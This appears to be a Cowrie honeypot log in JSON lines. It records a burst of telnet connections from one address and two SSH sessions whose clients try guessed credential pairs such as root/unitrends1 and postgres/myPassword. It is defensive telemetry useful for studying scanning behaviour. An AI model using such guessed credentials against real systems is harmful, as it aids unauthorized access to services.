{"eventid":"cowrie.session.closed","duration":31.603235244750977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:50.630160Z","src_ip":"23.111.140.22","session":"5e12be3c8d25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.499643564224243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:50.864692Z","src_ip":"23.111.140.22","session":"5b4db7f4336b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.007009506225586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:51.514059Z","src_ip":"23.111.140.22","session":"0b4c53fe8785","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97308588027954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:51.839256Z","src_ip":"23.111.140.22","session":"06dfbfebd888","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":32946,"dst_ip":"10.17.0.5","dst_port":23,"session":"dadee3054eb9","protocol":"telnet","message":"New connection: 23.111.140.22:32946 (10.17.0.5:23) [session: dadee3054eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:52.226416Z"}
{"eventid":"cowrie.session.closed","duration":32.377530574798584,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:52.410290Z","src_ip":"23.111.140.22","session":"05b426d70185","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.293243885040283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:52.450918Z","src_ip":"23.111.140.22","session":"2e2940cb9e84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.910362005233765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:53.699576Z","src_ip":"23.111.140.22","session":"3a7ddb7c3f42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78606104850769,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:54.150765Z","src_ip":"23.111.140.22","session":"e3129fbcdcbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41722,"dst_ip":"10.17.0.5","dst_port":23,"session":"511ae520c613","protocol":"telnet","message":"New connection: 23.111.140.22:41722 (10.17.0.5:23) [session: 511ae520c613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:54.370590Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45682,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb02ee4655cd","protocol":"telnet","message":"New connection: 23.111.140.22:45682 (10.17.0.5:23) [session: cb02ee4655cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:54.776674Z"}
{"eventid":"cowrie.session.closed","duration":31.500112771987915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:54.788460Z","src_ip":"23.111.140.22","session":"0136bc2ff4c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.415794134140015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:55.072459Z","src_ip":"23.111.140.22","session":"f8305a1c5ba2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46898,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c6fc96d433d","protocol":"telnet","message":"New connection: 23.111.140.22:46898 (10.17.0.5:23) [session: 2c6fc96d433d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:55.175671Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44264,"dst_ip":"10.17.0.5","dst_port":23,"session":"98a5a15636c1","protocol":"telnet","message":"New connection: 23.111.140.22:44264 (10.17.0.5:23) [session: 98a5a15636c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:55.274724Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47749,"dst_ip":"10.17.0.5","dst_port":23,"session":"7887150bb16a","protocol":"telnet","message":"New connection: 23.111.140.22:47749 (10.17.0.5:23) [session: 7887150bb16a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:55.531614Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47942,"dst_ip":"10.17.0.5","dst_port":23,"session":"b963054109b8","protocol":"telnet","message":"New connection: 23.111.140.22:47942 (10.17.0.5:23) [session: b963054109b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:55.604075Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45398,"dst_ip":"10.17.0.5","dst_port":23,"session":"918be9d94175","protocol":"telnet","message":"New connection: 23.111.140.22:45398 (10.17.0.5:23) [session: 918be9d94175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:55.682151Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48384,"dst_ip":"10.17.0.5","dst_port":23,"session":"5712aca2723d","protocol":"telnet","message":"New connection: 23.111.140.22:48384 (10.17.0.5:23) [session: 5712aca2723d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:55.749766Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35596,"dst_ip":"10.17.0.5","dst_port":23,"session":"7925e8590276","protocol":"telnet","message":"New connection: 23.111.140.22:35596 (10.17.0.5:23) [session: 7925e8590276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:55.862294Z"}
{"eventid":"cowrie.session.closed","duration":0.006926536560058594,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:55.869093Z","src_ip":"23.111.140.22","session":"7925e8590276","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.572667360305786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:55.991328Z","src_ip":"23.111.140.22","session":"4e5985159237","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72128415107727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:56.100612Z","src_ip":"23.111.140.22","session":"e8e581eaff5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49436,"dst_ip":"10.17.0.5","dst_port":23,"session":"48c490efa66e","protocol":"telnet","message":"New connection: 23.111.140.22:49436 (10.17.0.5:23) [session: 48c490efa66e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:56.119980Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49796,"dst_ip":"10.17.0.5","dst_port":23,"session":"16cf86a0329a","protocol":"telnet","message":"New connection: 23.111.140.22:49796 (10.17.0.5:23) [session: 16cf86a0329a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:56.277366Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42414,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c136d212586","protocol":"telnet","message":"New connection: 23.111.140.22:42414 (10.17.0.5:23) [session: 6c136d212586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:56.614070Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50832,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a40fbe7c6c4","protocol":"telnet","message":"New connection: 23.111.140.22:50832 (10.17.0.5:23) [session: 3a40fbe7c6c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:56.640954Z"}
{"eventid":"cowrie.session.closed","duration":31.574556350708008,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:56.752995Z","src_ip":"23.111.140.22","session":"e5a1994013da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51366,"dst_ip":"10.17.0.5","dst_port":23,"session":"23610d16d513","protocol":"telnet","message":"New connection: 23.111.140.22:51366 (10.17.0.5:23) [session: 23610d16d513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:56.810255Z"}
{"eventid":"cowrie.session.closed","duration":31.72153067588806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:57.431429Z","src_ip":"23.111.140.22","session":"56aea11390de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53356,"dst_ip":"10.17.0.5","dst_port":23,"session":"a87f57a0fbdc","protocol":"telnet","message":"New connection: 23.111.140.22:53356 (10.17.0.5:23) [session: a87f57a0fbdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:57.524698Z"}
{"eventid":"cowrie.session.closed","duration":30.751896381378174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:58.080463Z","src_ip":"23.111.140.22","session":"f70dc88af576","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55172,"dst_ip":"10.17.0.5","dst_port":23,"session":"87b24e4490e3","protocol":"telnet","message":"New connection: 23.111.140.22:55172 (10.17.0.5:23) [session: 87b24e4490e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:58.156395Z"}
{"eventid":"cowrie.session.closed","duration":31.316155910491943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:58.391402Z","src_ip":"23.111.140.22","session":"dbe1aaabac79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.964512825012207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:58.780588Z","src_ip":"23.111.140.22","session":"c96e80e94a83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55360,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f36d018468f","protocol":"telnet","message":"New connection: 23.111.140.22:55360 (10.17.0.5:23) [session: 6f36d018468f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:59.249122Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55994,"dst_ip":"10.17.0.5","dst_port":23,"session":"30d9774291ec","protocol":"telnet","message":"New connection: 23.111.140.22:55994 (10.17.0.5:23) [session: 30d9774291ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:59.485876Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60132,"dst_ip":"10.17.0.5","dst_port":23,"session":"28467aba2fc7","protocol":"telnet","message":"New connection: 23.111.140.22:60132 (10.17.0.5:23) [session: 28467aba2fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:20:59.926658Z"}
{"eventid":"cowrie.session.closed","duration":40.75826811790466,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:00.444553Z","src_ip":"23.111.140.22","session":"eb91f26e53b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.6978702545166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:00.534075Z","src_ip":"23.111.140.22","session":"9354e0b7d941","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.208808660507202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:00.560873Z","src_ip":"23.111.140.22","session":"175ead0d0d57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42946,"dst_ip":"10.17.0.5","dst_port":23,"session":"730e0f745b54","protocol":"telnet","message":"New connection: 23.111.140.22:42946 (10.17.0.5:23) [session: 730e0f745b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:01.026360Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60622,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5370fd8abcb","protocol":"telnet","message":"New connection: 23.111.140.22:60622 (10.17.0.5:23) [session: a5370fd8abcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:01.090966Z"}
{"eventid":"cowrie.session.closed","duration":33.884973764419556,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:01.633022Z","src_ip":"23.111.140.22","session":"9edb1b9057df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":54178,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e05375f2b26","protocol":"ssh","message":"New connection: 59.17.95.129:54178 (10.17.0.5:22) [session: 4e05375f2b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:01.798970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:01.804455Z","src_ip":"59.17.95.129","session":"4e05375f2b26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.4628324508667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:01.994954Z","src_ip":"23.111.140.22","session":"2f4c03db13bd","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:02.008453Z","src_ip":"59.17.95.129","session":"4e05375f2b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitrends1","message":"login attempt [root/unitrends1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:02.850109Z","src_ip":"59.17.95.129","session":"4e05375f2b26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.8803071975708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:03.031779Z","src_ip":"23.111.140.22","session":"23b57458d978","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41434,"dst_ip":"10.17.0.5","dst_port":23,"session":"be4a457207bd","protocol":"telnet","message":"New connection: 23.111.140.22:41434 (10.17.0.5:23) [session: be4a457207bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:03.124252Z"}
{"eventid":"cowrie.session.closed","duration":31.01311159133911,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:03.334491Z","src_ip":"23.111.140.22","session":"0f7039836905","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42374,"dst_ip":"10.17.0.5","dst_port":23,"session":"951a5f1f5a4c","protocol":"telnet","message":"New connection: 23.111.140.22:42374 (10.17.0.5:23) [session: 951a5f1f5a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:03.493339Z"}
{"eventid":"cowrie.session.closed","duration":35.290159940719604,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:03.528693Z","src_ip":"23.111.140.22","session":"db1ab098c712","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.6788387298584,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:03.567486Z","src_ip":"23.111.140.22","session":"ee2e4e224a45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40368,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c951dd097dd","protocol":"telnet","message":"New connection: 23.111.140.22:40368 (10.17.0.5:23) [session: 7c951dd097dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:03.813411Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35090,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3a6ae5e7dbe","protocol":"telnet","message":"New connection: 23.111.140.22:35090 (10.17.0.5:23) [session: b3a6ae5e7dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:03.998315Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:04.057704Z","src_ip":"59.17.95.129","session":"4e05375f2b26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.277310132980347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:04.147624Z","src_ip":"23.111.140.22","session":"d8b044195632","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44252,"dst_ip":"10.17.0.5","dst_port":23,"session":"5482e430ff60","protocol":"telnet","message":"New connection: 23.111.140.22:44252 (10.17.0.5:23) [session: 5482e430ff60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:04.155192Z"}
{"eventid":"cowrie.session.closed","duration":31.020188570022583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:04.205989Z","src_ip":"23.111.140.22","session":"5037297cbc5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":39606,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa55809b1cbb","protocol":"ssh","message":"New connection: 202.145.0.61:39606 (10.17.0.5:22) [session: fa55809b1cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:04.238713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:04.243566Z","src_ip":"202.145.0.61","session":"fa55809b1cbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45092,"dst_ip":"10.17.0.5","dst_port":23,"session":"f323a9c2c47c","protocol":"telnet","message":"New connection: 23.111.140.22:45092 (10.17.0.5:23) [session: f323a9c2c47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:04.485064Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:04.490665Z","src_ip":"202.145.0.61","session":"fa55809b1cbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.56644368171692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:04.805180Z","src_ip":"23.111.140.22","session":"673a0a38faf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.98215627670288,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:05.010236Z","src_ip":"23.111.140.22","session":"5917c225b04f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15776014328003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:05.015934Z","src_ip":"23.111.140.22","session":"f371b268c564","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47190,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bfda8d59278","protocol":"telnet","message":"New connection: 23.111.140.22:47190 (10.17.0.5:23) [session: 6bfda8d59278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:05.125417Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47926,"dst_ip":"10.17.0.5","dst_port":23,"session":"78c67f632f02","protocol":"telnet","message":"New connection: 23.111.140.22:47926 (10.17.0.5:23) [session: 78c67f632f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:05.417222Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48038,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9582f41cafc","protocol":"telnet","message":"New connection: 23.111.140.22:48038 (10.17.0.5:23) [session: b9582f41cafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:05.461814Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"myPassword","message":"login attempt [postgres/myPassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:05.485115Z","src_ip":"202.145.0.61","session":"fa55809b1cbb","protocol":"ssh"}
